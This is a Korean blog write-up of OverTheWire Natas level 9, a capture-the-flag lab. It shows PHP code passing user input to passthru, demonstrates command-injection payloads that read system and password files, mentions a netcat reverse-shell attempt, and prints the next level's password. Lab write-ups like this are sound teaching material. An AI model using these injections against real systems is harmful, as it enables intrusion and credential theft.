Natas Level 8 → Level 9
Username: natas9
URL: http://natas9.natas.labs.overthewire.org
9단계 비밀번호는 이 글을 참고하세요.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <form> Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br> </form> Output: <pre> <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { passthru("grep -i $key dictionary.txt"); } ?> </pre> | cs |
이제 좀 더 심화된 문제이다.
무엇인지 모르는 key를 찾아야한다.
key가 맞지 않으면 dictionary.txt 파일에서 검색하여 입력한 key를 잡아낸다.
dictionary.txt 파일 크기는 대단히 크다.
a 부터 z까지 수많은 단어들이 존재한다.
그래서 이 파일은 별로 필요하지 않은 듯하고..
passthru 함수를 보면,
http://php.net/manual/kr/function.passthru.php
외부 프로그램을 실행하고 표시하는 시스템 명령 함수이다. system()이나 exec()와 같은 취약한 함수이다.
그럼 이건 Command injection 공격을 사용하는 것같다.
한번 /bin/bash 명령어를 주입해봤더니 잘 뜬다.
reverse shell이 가능한지 nc -e [아이피] [포트] 로 시도했는데 잘 안된다.
command injection이 있어서 소스코드의 이해는 별 필요없다.
;cat /proc/version; 명령어를 입력해보면 저 서버의 버젼이 뜬다!
Linux version 4.5.5-x86_64-linode69 (maker@build) (gcc version 4.7.2 (Debian 4.7.2-5) ) #3 SMP Fri May 20 15:25:13 EDT 2016
근데 취약한 버젼이 아니라서 별 필요는 없다.
;id; 명령어를 입력하면 현재 무슨 계정으로 공격하는지 알 수 있다.
uid=30009(natas9) gid=30009(natas9) groups=30009(natas9)
root 권한은 아니다. 커맨드 인젝션은 여러가지를 입력하고 볼 수 있어서 정말 재밌다.
하지만 문제를 푸려면 나타스10의 비밀번호를 찾아야한다.
아래 명령어를 입력하면
;find / -user natas9 2> /dev/null;
/etc/natas_webpass/natas9
/dev/pts/15
/var/www/natas/natas9
/var/www/natas/natas9/index.php
/var/www/natas/natas9/.htpasswd
/var/www/natas/natas9/index-source.html
/var/www/natas/natas9/dictionary.txt
/var/www/natas/natas9/index.php.tmpl
/var/www/natas/natas9/.htaccess
위와 같은 출력이 나오는데 맨 위에 있는 /etc/natas_webpass/natas9 이 바로 현재 사용자의 비밀번호를 저장하고 있는 파일이다.
참고로 2> /dev/null은 에러가 발생할 때 null 인터페이스로 보내서 출력창을 어지럽게 하지 않는 것이다. 유용한 것이니 알아두자.
그럼 아래 명령어를 입력해볼까.
;find / -user natas10 2> /dev/null;
/etc/natas_webpass/natas10
/var/www/natas/natas10 - 권한없음
딱 두 줄만 뜬다.
두번째 줄은 ls 명령어로 살펴보려 했으나 권한이 없는지 확인할 수 없었다.
첫번째 줄이 어차피 답이니 cat 명령어로 출력한다.
;cat /etc/natas_webpass/natas10;
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
끝.
'워게임 > NATAS-overthewire.org' 카테고리의 다른 글
[워게임 Natas] 레벨 10 문제 풀이 (0) | 2016.06.14 |
---|---|
[워게임 Natas] 레벨 8 문제 풀이 (0) | 2016.06.14 |
[워게임 Natas] 레벨 7 문제 풀이 (0) | 2016.06.13 |
[워게임 Natas] 레벨 6 문제 풀이 (0) | 2016.06.13 |
[워게임 Natas] 레벨 5 문제 풀이 (0) | 2016.06.13 |